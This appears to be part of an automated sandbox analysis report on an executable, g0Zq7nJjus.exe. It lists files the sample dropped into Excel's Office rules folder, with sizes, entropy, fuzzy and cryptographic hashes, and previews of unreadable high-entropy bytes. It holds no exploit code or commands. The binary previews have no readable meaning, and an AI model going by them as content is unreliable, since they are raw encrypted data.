Preview:	<?xml...0.....#r..t.i..b?/.H..!.HG.....9.J`.X.$...l.cqu8.G.D.8..U.7.....J...%..ZzA..a...`..q:8.q.)FO..m./......G..d.My.....8C...B..J.S....S.km.Kr..H...\|O...WxNk......h....K]+..o.?.(..."a."..V..%../...}.a^@.,.bb..L..a.M.m...o....2....../.s.l...b.:..DU..K3.i ...vDie....`....6w..&.....S..G^.[....g.W.......:....K....R....N_..../.S>L.9Y.....;......{.p.&..........&.....RVW.I^\|mY.}l...3=v..P..a..;n\|U4.g.:1.e..+..j`......K..[.d...\|A6W$.....<..... k..:....R.7........]..\|.3.v...x.(z..>5..9.<E..J.%f.Y.g!..WC(.....N..2.[...).A....C....I...v...]...:k..XAE..X.<.N.......'....B...Z.............!.4..........w..p...8.:K.l...j...".Z....j....tq.=..../.....1x.X....=.D..~%y.........L.2..e[rjt..wm.:..ra.D.Q.Dm....V.bv.K...-Y...ISN.fb.U.....;..u.6..3T.I{.<rmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.7690106490280435
Encrypted:	false
SSDEEP:	24:Wz5TzxK5fn0hiW8rF3guwlq1kAkUaJnWo2bD:6/hgZgJm2WbD
MD5:	C44E43D2CE2852F1E18F9C67BFBBCC1A
SHA1:	12D40904D92814B4599A1372374678A1CAA6BED5
SHA-256:	84369267340571658023E0AFC71F29ED0801850E8CD0B5B508370BFA17607687
SHA-512:	00BD8B7086D930C1F87E39B1AA3BE0475063D5BBB5A3CE3D02014F2A53FB4C80997B7392F60BAC0F821C0853542D148EFB4F1AAF47050328392D375F090890AA
Malicious:	false
Preview:	<?xml.on...e..+N.....b.1_...E...@.zA .t.....WI.F]..n.n5..m......A...}bUc=j..niDR..K..1...\....jRaIz.D.v.....}"..G..+xW2WPR..%....m8.......Gl..0%...........h[...@....&.`......B...:.va......\a].A....eA....7........H....i#......;o....7;.pa6.}.k...(@....&.._.t......k.P..w....><d>=.K.M..k..e.A...$....Pd..q...#.q9.{Y.. .p....s!..G....Eq.g.f...z..n[.[...lG..N...m.IBV..I...... .z....5.k.z.1tT..f...w..b..2...!...b.>fe.^.6...P....Z..Xk....i$....q.......v.%..)#...\|/.3&..[@_.......w.w.E{..%....P..J}(..Y..V...S../..I.:.M..CaB6................oX..!.q...6r43........0..4..6.B.F..>CX.....=>..G...r].$EZ...X.p..!..>.K}..q.......9W......(.....`a....3IP,O.2.......Idu.]0._[@@.5.B......vQ.....Q.+.....I..*.g.....?_.:.=.x...,...X.]..TL.k,.....b...E.X.v..4mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.798162852131327
Encrypted:	false
SSDEEP:	24:vjBOWtSdx3HhqZ4/O2n1rZq2k76jTJCs9XUjmnM2bD:vjBOpnRqoOWVq2k76j1t9XMAD
MD5:	3EE1F2968EB50A148AAB63A4E50E6426
SHA1:	24574B5E0BC2D44BA12F81B2607A34C2F3204D9A
SHA-256:	C263138F1B19BE841B3CF5057D9E84D50362AA6826977F247523C6425AB87B8F
SHA-512:	F470B9D56338B31CCE549D5923B039BE1D295870F87E99BD51CB15C53005313A88018416828DFE181DE70B0FF43DEB6C261CEBB18378FC4C51FC86DC9E58EBF6
Malicious:	false
Preview:	<?xml..[#.?..)8.T%.2+p.....j-0c.xx..C.4..s.....3.U.....o.9UV/..0;.(.3^%.....$.yp.,.....n.>.;'. ..<...( .vrV.o.Nh...\|..S.....P...O.=zg..K.T.5#.../...d9t...z.W.f...g.U...$..G."(d$.fr..\+Z......\|Q..Yz#q...q...{.........0.%4.Q=F).+.n.....r....C.^..:.m....Dd....P......SmtFTw.4\.7.X...;\...M...w..S..@.#.B~T...WX9..=.CZ.`........a@..4D.F/J?.....b=O..G3..T...H>....:.......\.kb......^@...e......j.f..ao.X..;Q3. K..v.c..6.....}.....M......w..j..-.?..A..:..#......E....r}...9.%V.r?.j.].G..J9.E.......#.{\|p..`Si..@.........!:.W.....$;.....I".6.5.M_Z..E<[.&.~... ....l..j_..$..gV.27.R.'bl...k`..p..D<SS......D...:g....HJ......<s.D.M.x.}.e.Y.N;.......zP.p;H...F^E.<.....~R..5FA\ZG.q..u..r...E...K3.O...../[<.~...a7.....1)..Q.....@.t./B.6....g..nX....."./8._y.>....*.+.by`...L.<cR..Y..M.....(J...{$7;.h.==.....M.l.g...x.+....._..>.6@.&....A....}I<;3.S..C.n.Yg..V.M.....VV..i?.4....:u....Q~..D.^O......h6V&Qb.C.AN.S._.}.lB}`....../.A......i.G..mMsRxMUuXypapZbGOAfxD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.773966870774776
Encrypted:	false
SSDEEP:	12:dkLvoCs+/nvshOfeItwppCSKWg/qn/A3MNrQd0ZE7AbrWGK8Fnf3aT5SUdNcii9a:dkLA8/nvqhI+pv6gA3MBW0ZEUbbKUPaf
MD5:	08C80997B8286A19A0DC2BCF1C2AF94B
SHA1:	4EF671D315BD7D004821680D9A6DC9F25A6E41BE
SHA-256:	16AD09D142FD1A078A41F75B68C08684226D349C39A11B3C7AB692806CECCF80
SHA-512:	B1262DE958C5C790AFB7D9E1D82754994E5C1F20DAE9D717F6F907C418B7B1901A4CE5C09B430A1FDC0C0117C824D6FB40D69057DF3E26C49041896F74ADE944
Malicious:	false
Preview:	<?xml.t#...2...p^..../,+!..,...vC3....;........1:.e....UuR..@...Q.I...#..o... ..[W....zSc......X..........}.$..3.H.M....fp>........1cdc.dM.Y....);.u.iM..C.biD;.B.&...m-.......u.1..Dd..M.<.rR..0<.T_...d.r..2................s.........#...S.Y L\|.P...ls...Z3.....@/..-.u....k...._p...&.6..No.y.ad[N.....0P..B.s,Z.,.w.:.eO.G4B...........4.XV...[.fG.....!Q.8.=.i.C..V.....F...}".7.T.!......n.`?.W.LE..K....a1....Kz..I-....]i...L.:O.1....2.6Y.v.I..h..L....j.X.+.......@.%..T..J...k...T....a.\k........SbgO...m..KH..8A...]..c.X...5._.....~.`w.6~.;\|[......~.DR)u.\).....2x..V...?...[rBd.u,z........=...7'.t...m......k.>?..q...R.....>.>O,.......$.<$v.d..%IP(.&.m....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.79154044596718
Encrypted:	false
SSDEEP:	24:LqyZOr88B63C38kvfZNatQXM71SvaqQ/pdzf7b0W2bD:LPOQZ3C3tHXatx1Svypdj74dD
MD5:	D7CCB805AB786E68B0C8B9E97B574BD5
SHA1:	EFE3EE6331BE36F7EFEEBC712E6065FD295A284F
SHA-256:	A141FB9A7B083AA2A055EF68C186BDF23A2CA77A6C09822AE44025961553A117
SHA-512:	1DB1AB10A70FE5CCD98821A9B4B6E056B78D956B2D7EB210D34639729D54198D6FF67BBD69D80511795B4BF0F2166AF5ED8895DA38D7FA23ED5AB46A386A8D5D
Malicious:	false
Preview:	<?xml..L.&...%.k..3...i.......b...W...SC..n.h.].(.w.Y..;..E...\|S.)m....%f#?E{.=TW........b...v.......D#....I8[n.{>.K.0...U..;...\|cJ?..,.*.k.o3.!..-./.".?.$d3K..d.W....E.......Cm..N..d.y4L]V\|.=G#.A.do+..Xx.z.....!!.R.8.f7...9.m.mO.R)..7w(.#.....d....n\|;D..Gi.;...W"r.='t.!.[.?...0....2D.:.r.W/..h..@JSf.\....I.....e.[Qx..g4.>B..8.....4...tA3....eX..~.gl\|_..>.6.....^U...a...... .l.N...{.-..X.O..:...<i.y..i/.......V...C..Ub{&+w..f1X..!..........h....:...[...J..e..:.j../..>0.Q..x...]1JwLt.1.V.??k].....Y.i..\.z.~...b.@_.m_/y.I. ............s.r.Y......02...bj..U.!2..8.C....(.3...$.:...f.......&...{.6..<.@...=M..]..@[.........S.Y.....3..O.A>x4...)7..q.$.nyx.%cMf.".&.#......X..kky.T.V..1i....7e4"G. .W.5]hU....+.F.0w.QY1]Z.TLk....&".>=.0...(3<.....6UE..sE.v...@..S....)..JNu.M.J./....vo.&.&w....v\|.X.".8.L...k...?.x.0}....h..5.3..@...6+.. ..%y..$B.%}..p...u.......R..E.9.<z..E .i.Q......b..M.:.....Cu.Tc.....m.. ..HmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.810653311219227
Encrypted:	false
SSDEEP:	24:oalEQHs3xLvJjuGm4Ey57AMepxB59z4uHUDp8n2bD:oaJEx7JjuU3575epxj9JHUqkD
MD5:	F19F82AE983DFB28BDDFD994B4353C70
SHA1:	FDD42849AF4D0DED2C97EEE1E53987E4F9B94EEA
SHA-256:	C917A289A3204F576D25D986BC15F19580F5AE6E95C8121AB73843908D240A5C
SHA-512:	EE87685333B089EB6CEF0D5C0B29B7F8706DC1BAB7BCF8D9B2AA06B70CD20FCA2D24CF190D104B9E91AD396A21A294EAF631878A728486D5FB51E54794FE6016
Malicious:	false
Preview:	<?xmlvy$...(.dE_.....a#~..j.+.T..X...Q...x.m!.y..\..r.W.i.V.bj..^.....@...?-.T....e....h..O..<.......4..(.wn.tAO...(V..i..q.Z.6p....S.S^.Uyw;.......K.......%M2.1x..bM....\....d..]&.b.t.......0....L....:.R..^...N<..s.J0!.e...............P.56.jF........ZV..a.\.0./..F.F.....].t...)<.I^.&.`JWq...aS.g.T.M.\|.G.&..+.2..Q.#....r.@.1..2.....).....2.G.o.L..Hj....H3k.6.........W.uC..GH..`...../......E......C.._..p..o.Q...D........S.. ...h..\|....X.(.....HtU\.q.[#H?UL..$8.Y..3..).k.8T.)...Q....G.m.e.....w..2).B..Q..?-....+h......^3....D%7.w.../..No.".'l...4..K!. ...<...v..p.fO.m....gk..">'S{.b.@...p.?.H"#...8...'..........Y8.......?f.o`.3.+u[.pT.p.F.{..U..x(5......y...k..i.2..S.."O)..A..H.H2.9Z...R.d.}+....b......q.6.S..h.$.}.(hq.azCa..MV..p...uc(....yO7CH#.2`L.....r.x..:_.4?.-*...^..1\|ymMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.82047747673114
Encrypted:	false
SSDEEP:	24:e65YrugLsrnRC3+UA/hWBCcpuWheoNIeVbWo2bD:HrgLyn75opuWhvNPAD
MD5:	C6083D65B386D1424C4B3DA5980AE21F
SHA1:	745C9FB7ACA8E0C248183C9CBAD75B8763F8A919
SHA-256:	D927EC7BAFD39F99BEA71448C956CBCBB0AFEAF6DA4185CAD4DE147A93B4DC63
SHA-512:	B58C746ACBBA289421C822D737E9556CD2F9E40A20757A260C3C74F1BD1D0CE722C4F50044EECBDD8E3DF2602588CBD3201DA751408B7EAB8BC546633B40001B
Malicious:	false
Preview:	<?xml.n)I.u.kRl....si..XV.<..@E..(..KQ....`...v).,..Fh...7..>#:mN...k..;...K.#-TS...3h.....a\v....-J..D(..Y.1?3....Zu\|pz.L...~...`..u.X.R`".!.n.+....A...S.u..4&5......>.d=m./....w;..\.....pHB(.`..ud...Q..C.I..C\Z ...E........f.m.qM.P..........; u..%..;=... .}..z.{F.......m........(.+F..i._..Q.......R?.....n;...p....~n&.>.1}...mH...2..U...4s.F....'..Q.q..dg.xL........?.......w'.@.r.....}....'......``....<...>....?{.t.7..".....E2..L..4......Z3_.....EDI%.(.3tN..5.z.......[. ...P.}...T........J.?B....1Q#.yBv..........$L...2.:.R?2R&...j`$.D...N.rt.....LO}(....J7.'Z...n)...<..N.mi[E_B.R..y..v;0..oU.Y.........,V.._...Z..5.A...\|.c.2T.W.+i....}..f........i..{.ZI.$.a....J.9.....W.R@.U.G2.g.u.6....Y.,.....}..4M..{..9U2..&.D.^1.}.d.#..@3...5..-$.!.4.T.Z.43...8.$z.%..._4...LL..@.:....+.I...e$A.k..Y(]....TK......C.]5.o....d.!e....L>..qq.W*...@H%.I..x.P!...,~2..I~..T..Y...%...._..j...h.......Y.....-.`@...d...R.a0T.d.'.&.....:.)..o6t.At.%..........a@..}=.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.824149768524064
Encrypted:	false
SSDEEP:	24:EZxys12KwiGrQmadVSpvf31z8jUoW1hfBgZttZGbW2bD:EZxj2KwiEYVYFzeUL/eOdD
MD5:	BBA42B621776D7808A448772574C6543
SHA1:	D4224DDCA198FECB7C26DB037DD3FE320D4F3869
SHA-256:	F40BC6EAB993D8EF19C6FBFDE3B36F0FA123486BD8795BF6DFE7BF496AAA72A4
SHA-512:	B25F426245C7FD1364E2C6C84B102D502750D5F465E41C3C541042DDD16D5CD461314CDDC65AA33C52CDDE862D35A177B6421EC6F66696C2C7F21C8BED832F3F
Malicious:	false
Preview:	<?xml...}..ka......:....}.;\|.z.A.d<.x9?..p.......-M...............3..#.....[.....cn.\...U....%SV...]..6.............[..0.....$O..Q.y7..0<.+?K[y.M...wQ..\..JR.O?..O.....k......P..6...z..(...C9.....]........O.Z.Xg....6.%.IH7..X...qh..=8.\.......\|1.+`......n~...<._.>,........m-}...hu.s..G.HX.....Cc...{k..R..T.7..._.oC..^..n....9l.t3.I.Bf.j8gZ...=..2.:...g.....6P...."~.x<.!..y{....Y.N.].....jt..oL........o...(fP....F.Y..\|R#.f.H.@<..yP..U........9.]1.`.[Vk.....f....P.a......P..H...6J..a.1"...\|......h<'H<..V.L9...r....3.........w.....]G.-..T} ?..qw.N...Q........./.E...3...4U.rt..<%=.\a..r.....5....E.g.p.w.....b../..G....Bg...3.... _+.b)=..r'......vK....M..H.)....j.hZ.+S.7.....iR......5.i..\|y..2.....F.s...9E-cr.j3uO1.......]'l..9YY-.c<..yo...e.C..EpL....24.. .^.D.a.v..c..G`0...?.sw6..@.s.p...I.MQ-zE...........{0}.l.4Y..H5..m..U}....]..duv.ln..-........>zi.Os..5..H...B.7Z.B.............R>j.N.4o..d..;.+Q.KH.........7....`...82`...l... ....zi#V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.793740073825963
Encrypted:	false
SSDEEP:	24:/Nv54FS217ayGtoJan8YaFpT4wUNnr+2bD:/f/Sa7R3aF54hHD
MD5:	15F6123B8D73951EE388BA856352FF94
SHA1:	73D77EB137C381F3FDFDB05EF140AA4E8D807CA4
SHA-256:	AC713E0EA89B542903006BE3B72668C8F01C8574B9DFFD0CC42AE4F1170C26C2
SHA-512:	3BCDB4F9D50EFF096D66B46B5EA34A59EA63C3B1B9C148A433ACCDB2A44F13C1E3991DB49B42DEBB888E5EA64414C0C889B5E3E3A08BB86AFD8AF93C4C1D1AD1
Malicious:	false
Preview:	<?xml..2.....3.}.....U.%.... e.ln.05....Q........rV.[.oKF..).P.S.2...0v.x.......Cz...a.W`.n...nZ.X<i.C.-.i../........U{0....x3........XW.z2..... ".3n../..)...=......P..{..`..FE5i.+-].u...m...QJ....z.....2...6m.Q>....\`.f.(....(......g.^.1sz..ZA....o... n....&V.D..f.........:~.o+..K@9.E........<....eJ......3..q8.8...'.RI.........I..c.b./.]E.^...P...K0.\|s.$M.....Z......a6.1......;.L#...c....'....'os....I.e..`....d....h,#-,.....F...G....1L......c.8a.[DjSyd0..`.>.W..5$<2dI..9X41ST.S.;..o.!...h....H...s...a...kA...T..-.{..eR....E..$I.$@a....c.'.q..w?~.v~..uI.u..5..z..).....#....u]..P...5n...aw..!.... ....+ac(..d..5.0..{.c<...\|J.,I./.N4..._..~Xv.x...b8d.N.E.A.)...#`..\|.*xH...J....TV.z..H..p.z.<........npu(...p.t.t.d,.c..dd.]....5...)..(3b...^J.Q..c8...{..J..p)n...m.:V...er.:.D...a.T6...{..&..Le.E/.....E..iE^.It.?B."...&.sp.n..#....$..i03..`.@...,.....Kw..nN.j.2.(K..3.L..iV{1..Cs..(.+..b..........4.qZ.[.\|.[.=P..G.`.c...l@\|.X..l.$..s6.)=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.814059731297923
Encrypted:	false
SSDEEP:	24:fhd4YGAyPgV0TYVEwZYYSUhn6jJGJ2sUxyFgZeJX2bD:fPHyPgYdwZzd6jVoF0JD
MD5:	DD360A5C6719543B3874C3D29F4FAA50
SHA1:	CE7C77BADD9631AE3C397077E516D8286ED2B20D
SHA-256:	2C321ABEE4113242D53A6105FE7560B91D0AD7087B4E7FF385F01A442293A513
SHA-512:	FF066FC5E6B4823F7F2CA774A6FEE82B8B338B26FA59541777B57CFAEF8230759142E9DB3FA7EFAFBCD52473E9C2C4F15BBBFD97790CD45CC696AB379EF964FB
Malicious:	false
Preview:	<?xmlF.+.W.^..Rn..N. .1?^,..b.&...lp..R..W.\|m\.).3.....\|...sH..EK.:.#.... .FP.0..].&"zf..P#....zg.Y.1D.5....$...bU.<...].U.h...}R...C..j.l..}...o..y....W{.j.m....o.....1. 7.mWL.z[KlnjI..b0...k....h>SZZ....=....<..bI...g{..Q.;..EqL.3....\|........&..TEW...R....d.....Qq$...n._.....R...[..3..nX.....X..y2t......Q.......9........z.Hb\|...?.56s4.2.?^_..3.'.8....kp..ro. .uG......g.o.{...E.f..../..uC..#..sO-...L0.........E..%.Mn.<....S..VS...QRt0l...%#..g..pN.5 K.K_/v.I..........P.\|cW..D69./..'./@h.q..w....n.4[.S..d@.YT..uJb...v.F+...jfK...$..\|..,.....z....,..C.E.X6./.h.2g].7.(...B./.#a...x#...K~..>.h uAC.3j.....`.....<..E.a,i...s.WK......,.s.{.'..~7....@._...3.m.i.:..0....)+l..id.E.b..r..8.-yn`[I.Mh.4.G..{.>....B.....V........v..{Z5......>m.....>..UM..)@.r..`.L.2.....o.y.A...c...?...$()MU..t.".}........+..@l_&...O.k.TY...))..../.>..bh.T.t.v-b..\|....u.%..j.G. ..p..r..9.+.A.Z.l.N.8....Z..k.d.u...1X.......2..3.w..5-mM..'.....#J9.(..LY.l...n.R..?....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.841704285164192
Encrypted:	false
SSDEEP:	24:tVUs/olIURLjv1lXTHRdYogdh8RLmxWMeiZOp/RZT17f+h2bD:tt/olV1lTEdh8RLGWXiZOpZZl3D
MD5:	8252F32E7B8790FEDAB2651975D95AB2
SHA1:	479765F7A9AD4F72D8F709F4C4F97CF1DA2C66A7
SHA-256:	4A8865C09BBBA072FE5917D5C6105C4AE4D5062ABBF9FC6F9C85146531AAF954
SHA-512:	CC92C89DDAE18EA148AB4975B3A78BE5287494EDCF0C90F05AAD08B23567FCD23F6B41A952A8576ABC107692A11EBD352225588E2A7930603B1C7CC350F00868
Malicious:	false
Preview:	<?xml.....X^.n./.?.GX..j...2....{.:...R4.CW.......u.6X....,...8;,; 8.R....k~1$Ph.T...A....._D..X`[.L..V7-.v..:W.@;\......g.%....X.q>."...d.....}....$.0..D.....5....m.Y..9.....J..k....q..y...#.vf..bI..].3...?2.....w....`....N..9.7.3..J......... .[...K".s.1\._.9.`..!..X['..+./...G...J_3.'......a+..R;.c..e.R.b.c.\.\.c.f3..<...nL....<. ..B..E....).Y.t...6..[........O..:.W`..Y+d.X.Pc-...7...E.&.?7?u...E8....u.J..$.h...(.4.{.MQ...+...5@..1Npw\|9.U.....k.z.b9.H.@1.a.....c6...4{.xpq...2.^..."U....A'..>]~.a..f."8.u{i...^...-.,QQZ.^,...^b...K..a.^;...N$}...u...oKD.............qz3o.p....g....SH.L.t.....5.....bX.Uz....#..h.TU._."#/!.9.s.....8...ur........+..!\|.f.$z..I.6o.....:..f.v.T&..$N.N,e3t.c."E.,A../..h.).w_.......)..x.....r..,.B.z5.....O..._.....q.E.u.X.....S..H..1M..b4kOl..C..G...9.b.g..?../l...S.i.I.i.....%F.......x.4..s'....\..R0#.}..H]...?...8.n..X...(..x......;.}....)..U..].<...33.t .\|`..r..&...*d..w..p{..]>BsF..Ef.W.....n7....,.bs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.823078646101238
Encrypted:	false
SSDEEP:	24:4ahxCVH6E0kAkFAkcPU7wO2hwL+jlJrjgD4ugVdzUvUqkoG/5SceV2bD:4EE4BkcPU7x2myjXvgDngVevUqkVALuD
MD5:	FA0CEAFEEED0D78A086ADD9D1477BC59
SHA1:	E1EB85AF06E309EAB0AF27A6D83863D034DCAA72
SHA-256:	5C564164C1F7CFAC0F99409FCBADABA781F17C690F12A2AE2B597D0B99D0AB69
SHA-512:	7789B814E7D55A33D735832BDE8CF58CDD73C2AC9FDCF2516A6F31AB85E1DF10BFC58B1D269E06E91A42DB48D35CC9E4983D232DF25313A7BA9DAD0DCA530592
Malicious:	false
Preview:	<?xml......7R..O...q.J.L.S.g$B.TJ...d.Z..y....'c........`.q.Q.I.y...4..X\|.q.....Y.s....._7....2...h.8..v..$v....>.......7@&.@}O.....[r..L3.8...CzI(..;.(.W!....!..T..v....i.R\|.O. ,.vdvP....._[...;."3.....i\._.T........C......CB\|..o..b.5.!...{a...M.&...Ku......^P..d.t.........Y7!RYO0...$S...s.]^.]2..iw....f.%>......'p...F}..u.w...Q3.}.......&..gP..:...>...........B..u..O..(....q.......?..G../fk7....N..1.}.....t...Q...D..$.......^...]ow.4.P].i..pJ.!....vV....B.C.....X...8....$....B..-}..s...-&.e.........t+.Zd.g.n}.m...%.&..I...kq......s..!.P....?..........U2u...^...Nj=D....Y...>/.J .....H........m..J.c..v......b...K..Hi....D.1......nL....7)q....C.Isb.U..;..+[.w.px.8..,.9.=.?@e.+..>..Y....`.K."U.1#.xhz......1.....3..\j...M(...Av;...B..1.gL@+....P..mx."U...t>...l<.V.......1C.l..j.)4.2............Xc.1{./..e...lM.n.Y.[.>.1....[.:1.VdP....%...W.w=.e.....3L.I..Q.....v....x...$...i.......al.-...]..JH....M.../.8......+P...-V..a...'.[\..v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.767376931703481
Encrypted:	false
SSDEEP:	12:eQkgH7WhbChByDW6M4TCq7Md6C2Gsik8R4/C11/fabmL5zRztKZmhI2SUdNcii9a:eQku7YbDD/R5M32GsR/C11yZAI12bD
MD5:	8EC6A47B60C03CD38012D64CD5EE77C9
SHA1:	8ACA221A52F55666D798152024365FFB53E84D03
SHA-256:	B06DAAC79893946CE0666EC12709CD046B75FF41305B119048F60819B3282A67
SHA-512:	1D61E1738B4044D2A5E0ECF721B17F6A96E4959C8EB2A43A2B20B396A9B36BBB7442F91894DD2E01972EE4307069B6ECCC3C35656CF309122987340E2A3C25A9
Malicious:	false
Preview:	<?xml..f....N.!..A....aZ...i[fq........y.s.o..{.\|..Y........A..]n.....6#..N@wP.c.....0.Kz.n......Q..}....oT.C...@\, .C9....vm.%l......d.YI#..F.[g....n.r.0....H...e;....kLUg.Q....'.........V2.H............g.6.PJ.`s..R.J......0F......v.......S.....:z.\|...Y)..#......\w_F...Y.\CR.P..1.d\%V.-..!...Y..../.xBGb.'~....o.<.h..I..a.;X.3.%V....r...P..g.&.Z.....F..b.&T....._.....G.O.k.;'.s..y.....Q=.....5D..._&..h~.,..<.$...Vf..dR...N~.xa........9g)..C..n.t.g..h....@}..UX@.w,qG..1../...KYa.&.\|...Z...~......>.X..fI0..Eo..q..S....KMI.X}...>.MS.S..?.....G..!.....7.zZT[..*f.8...0...j.c.[.....cM7..z.C.%;.q.C.......=.\....F.)..g.+.nV&T.R._l.....`>b.....H'.m..X......D...#.[W".{7..z9&...h....KN.G..87m.(C...c..Te7v.(.i..f_.Ab...8!.6Q.UQ...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.723365198501865
Encrypted:	false
SSDEEP:	12:UkDCLJH4xkRlcKBLo1GIlow8wYK2Rzk4r1BDGJdl5zh4OWSUdNcii9a:U/xLR/o1zow8fzzxrS/lPV2bD
MD5:	5CC13F5B699EB3BCB52D108211CEDAC7
SHA1:	B80FBCF599FBC7E061F4454E09ED9AA6C669940F
SHA-256:	6E68B71A66DC15159D78B658427C665C5C40EC7D81AB9B3747C818615BFE8D61
SHA-512:	9E5A9A0AFBA97E9F4737DA6E4DE8C42C3DB934F1587AF7CDBD37FA032B43A909B733CB6635B6E8DDB25D843EA4F95217DFDC8E3EA580CF0185936343C71783DE
Malicious:	false
Preview:	<?xml.'.._'.Y). ....6s'......u,M+.'[E.s'.2O.....=.w!"..\|K..SpYO#...kJ.J...+,v..O...'mf.P\|r..I.R.l.........+..0c..>P...L-#y.T..J..m[6..J[.>..2!.$.....Wu.]....I..pJ..T.....H...u......../..W....5E@).{....,..R...!.......F...T.)7.hV...L.I>..4vv....@..{R..8.bN......k...Gv.e...n<.....V.-...z..}-.4.$..bDJ0....o2....x;..F%/.....fl....=\....W@\.....B........P{X........D]dS..2ZV......qs.&.L.[.D .w..}]u.....i.Z.\|...s.?.g..c...b`..5.Akqk.u%..{."..p.hqI.N?...K`......N.>..F{...{drC.6_.N:\.B.....A....J.k+.0.(.~.t....A......:....a.....@..238.}.^..$;u.>..,...<^....Dx.M1..r...cd.KHN..)...*..LX.].msDA.GS..'RJ...=..K:..J+..e...H..K..P#.G.Y.Y.f"N_.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.712625700787792
Encrypted:	false
SSDEEP:	12:7caQqLdtXrQrk7Od1wfusJHcisHrhSwQZdzeqamM/r6Cgspd+i70Ywik67tN1SUn:7catL7Qrd/p4AA3endPPpH0yBNY2bD
MD5:	C72F11B8B5B0690C69A325B2CA0C514A
SHA1:	4756046EA466876BE01CAE574F8699918811EDED
SHA-256:	07FE2422B757FA0C71AE07177D5A5382C749111E9B70E684CD81F7920AE3276C
SHA-512:	BE39C5A72CA997E94644F78600B043F798329C35048F93EF962510119BD39DE8F7A95C0E28485E217B20520251E77650C379227AA0198BBB8A2A4126414BD731
Malicious:	false
Preview:	<?xml\|.9......P<..d..Z..lUB.7eN..W.%..H..[.....:0>3...H...+K..5..W.7vtff...Z.m.-q.5(..[.......t-.U.l...\|&AOW..F.g-u-...5.~...aoZ6.._...py.Q~...".......it.:...{zGE.d...N..+..;.5g.=...s..x.:]...y.M.....mmiq......K3....s..4...r.Z4...8...o4.F..+..2j)...F.]>..8.+.......%......i&..CN92&..&.7...}\|.wF...Fdq.%...w.....1..%.g....u.%`...z...ua.....;.B.@e!.WX.....K...e.7......v.v..kW......h.Ez..P7...MA.M ...$lw. ZL.fb...[k...H.V.Q..L.....xf.(.....g9...*..auq....E.H8..}Kq.O._...$....3E&....Y.....R... ..%`..656..I...>.'..t...@h...cu..j.0.#}.=z./...0.!........E.......(.!.O.h3..oN3..$..dD.,xA...d.&L~N.D.1.T..`.7p 